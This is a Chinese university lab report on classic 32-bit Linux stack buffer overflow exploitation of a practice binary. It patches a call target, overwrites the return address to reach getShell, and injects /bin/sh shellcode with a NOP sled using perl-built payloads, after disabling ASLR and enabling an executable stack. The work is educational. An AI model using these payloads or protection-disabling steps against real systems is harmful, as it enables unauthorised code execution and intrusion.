20192427 202120222《网络与系统攻防技术》实验一

20192427 2021-2022-2 《网络与系统攻防技术》实验一

目录

• 20192427 2021-2022-2 《网络与系统攻防技术》实验一
  • 1，实验内容
    • 1.1 实验要求
    • 1.2 实践内容
  • 2，实验过程
    • 2.1 直接修改程序机器指令，改变程序执行流程。
    • 2.2 通过构造输入参数，造成BOF攻击，改变程序执行流
    • 2.3 注入Shellcode并执行
      • 2.3.1准备一段shellcode
      • 2.3.2准备工作
      • 2.3.3构造要注入的patload
  • 3，问题及其解决方案
  • 4，实验感想

1，实验内容

1.1 实验要求

1. 实践的对象：是一个名为pwn1的linux可执行文件。
2. 该程序正常执行流程:main调用foo函数，foo函数会简单回显任何用户输入的字符串。
3. 该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。本次实验实践的目标就是想办法运行这个代码片段。本次实验将用两种方法运行这个代码片段，然后注入运行Shellcode。

1.2 实践内容

1. 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
2. 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
3. 注入一个自己制作的shellcode并运行这段shellcode。

2，实验过程

2.1 直接修改程序机器指令，改变程序执行流程。

1. 使用objdump指令对pwn20192427进行反汇编

objdump -d pwn20192427 | more

如上图所示：

• call 8048491 汇编指令：
  该指令调用位于8048491处的foo函数
  对应机器指令是 e8 d7ffffff
  e8有跳转的意思，解释e8这条指令，CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29。
• main函数中调用foo函数：
  对应机器指令是 e8 d7ffffff
• d7ffffff为foo函数的地址偏移量，将其改为getshell地址的偏移量，就可以运行getshell函数。
• 要调用getshell函数，就需要将d7ffffff改成getshell函数地址对应的补码，也就是得到getshsell-80484ba对应的补码即可。
• 使用windows计算器，计算47d-4ba可以得到补码c3ffffff

因此，将call指令的目标地址从d7ffffff改为c3ffffff即可

2，进行修改操作：
使用vim打开pwn20192427

vi pwn20192427

输入如下，将显示模式转换为16进制模式

:%!xxd

查找要修改的内容

/e8d7

查找结果如下

将其中的d7修改为c3
修改结果如下

转换16进制为原格式

:%!xxd -r

保存并退出

:wq

再次使用objdump查看修改结果
结果如下图

运行修改过后的代码，得到shell提示符#
如下图

2.2 通过构造输入参数，造成BOF攻击，改变程序执行流

1，通过objdump反汇编再次了解一下pwn20192427程序的汇编代码
如下图

在上图中可以发现，在main函数调用的foo函数中只给输入数据分配了0×1c（28字节）的空间，现在需要确认输入字符串的几个字符可以覆盖掉返回地址。

==上面的call调用foo,同时在堆栈上压上返回地址值:__________== 
 
 80484ba:	b8 00 00 00 00       	mov    $0x0,%eax
 80484bf:	c9                   	leave  
 80484c0:	c3                   	ret    
 80484c1:	66 90                	xchg   %ax,%ax
 80484c3:	66 90                	xchg   %ax,%ax
 80484c5:	66 90                	xchg   %ax,%ax
 80484c7:	66 90                	xchg   %ax,%ax
 80484c9:	66 90                	xchg   %ax,%ax
 80484cb:	66 90                	xchg   %ax,%ax
 80484cd:	66 90                	xchg   %ax,%ax
 80484cf:	90                   	nop

080484d0 <__libc_csu_init>:

2，确认输入字符串哪几个字符会覆盖返回地址

这里需要看的是eip的值，此处为0x35353535，35是5的ASCII码值，我们输入总计36位，可以看出此处超出28位的5555溢出到了EIP中

3，再进一步确认究竟是哪私网的数据溢出到EIP中，我们输入1111111222222233333334444444412345678

4，由上图可知，eip寄存器中值为4321，为小端字节序，观察可知此处EIP的值为0x34333231，分别对应4321的ascii码，最后是29～32位上的1234覆盖到对战的返回地址EIP的位置上，如果输入字符串1111111122222222333333334444444412345678，那 1234 那四个数最终会覆盖到堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址，输给pwn1，pwn1就会运行getShell。
5，构造输入字符串
因为无法通过键盘输入\x7d\x84\x04\x08这样的16进制值
因此，先生成如下字符串的一个文件。\x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

注释： 关于Perl： Perl是一门解释型语言，不需要预编译，可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中。

结果如下：

同时使用

xxd input

来查看input文件中的内容是不是符号预期。
6，再将input通过管道符“|”当作pwn20192427的输入，然后进去getshell

(cat input;cat) | ./pwn20192427

7，或者不生成文件直接输入

(perl -e 'print"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat)|./pwn20192427

2.3 注入Shellcode并执行

2.3.1准备一段shellcode

1，首先了解shellcode

• shellcode是一段机器指令
• 这段机器指令目的是威力获取一个交互式的shell（就像linux的shell或者像window下的cmd.exe)
  -以下实践使用该文章中生成的shellcode，如下

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

2.3.2准备工作

execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space 

2.3.3构造要注入的patload

1，Linux下有两种基本构造攻击buf的方法：

• retaddr+nop+shellcode
• nop+shellcode+retaddr
  注释： 因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。
  简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边

2，buf够放这个shellcode了
结构为：nops+shellcode+retaddr;

• nop一为是了填充，二是作为“着陆区/滑行区”。
• 我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode。

3,构造的结构是anything+retaddr+nops+shellcode，其中shellcode的内容如下：

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

4,使用此命令构建字符串并保存到input_shellcode中，不确定的字节用 12 34h填充

perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode

5，打开终端注入以下的字符串：

(cat input_shellcode;cat) | ./pwn20192427

6，打开另一终端，用下命令找pwn20192427的进程号：

ps -ef | grep pwn20192427

得到进程号：2753
7，启动gdb调试这个进程

 gdb
(gdb) attach 2753

然后反汇编foo函数，查看返回指令（ret）的地址
并在返回指令的地址处设置断点，再另外的一个终端按下回车，再使用c使得程序接着运行

8，待程序运行到断点处，查看此时的esp寄存器的值，获得我们注入的字符串的地址

info r esp

9,使用如下的指令查看该地址附近数据

x/16x 0xffffd31c //看到 01020304了，再往前找
x/16x 0xffffd300 //看到9090310c了，再往前一点
x/16x 0xffffd2fc
x/16x 0xffffd17c

10,从0xffffd15c开始观察，可以发现数据采用小端字节序，并且将返回地址改为ff ff d1 80就可以让程序执行Shellcode，这样一来\x1\x2\x3\x4就应该修改为\x80\xd1\xff\xff，于是我们便重新利用perl语言，将返回地址修改正确，并在最后加上回车（0x0a），然后重新运行程序。

perl -e 'print "A" x 32;print "\x80\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode

(cat input_shellcode;cat) | ./pwn20192427

3，问题及其解决方案

• 问题一 gdb出现报错 ：报信息Detaching after fork from child process ***
  解决方法：网上搜索
  
  但是，问题还是没有解决，最后重新启动虚拟机才没出现问题

• 问题二
  

解决方法：

通过同学给的链接，Debian版本的进行下载，链接如下：

https://debian.pkgs.org/10/debian-main-amd64/execstack_0.0.20131005-1+b10_amd64.deb.html

• 问题三
  获取注入的字符串的地址出现错误
  问题估计是准备工作出现问题
  解决方法：
  
  将如上命令重新输入一遍，同学说是，没有关闭地址随机化

4，实验感想

此次实验主要是缓冲区溢出攻击，实验的目的是主要使我指导缓冲区溢出的基本概念，实验过程中大部分实验步骤都是参照刘老师的博客，以及云班课的视频去做的。
做完实验会感觉到自己很多地方不够仔细，对汇编语言了解微乎其微。并且此次的shellcode是由老师在实验报告中提供给大家的，对我的帮助很大，同时提醒我还需要对shellcode的许多相关知识进行进一步的了解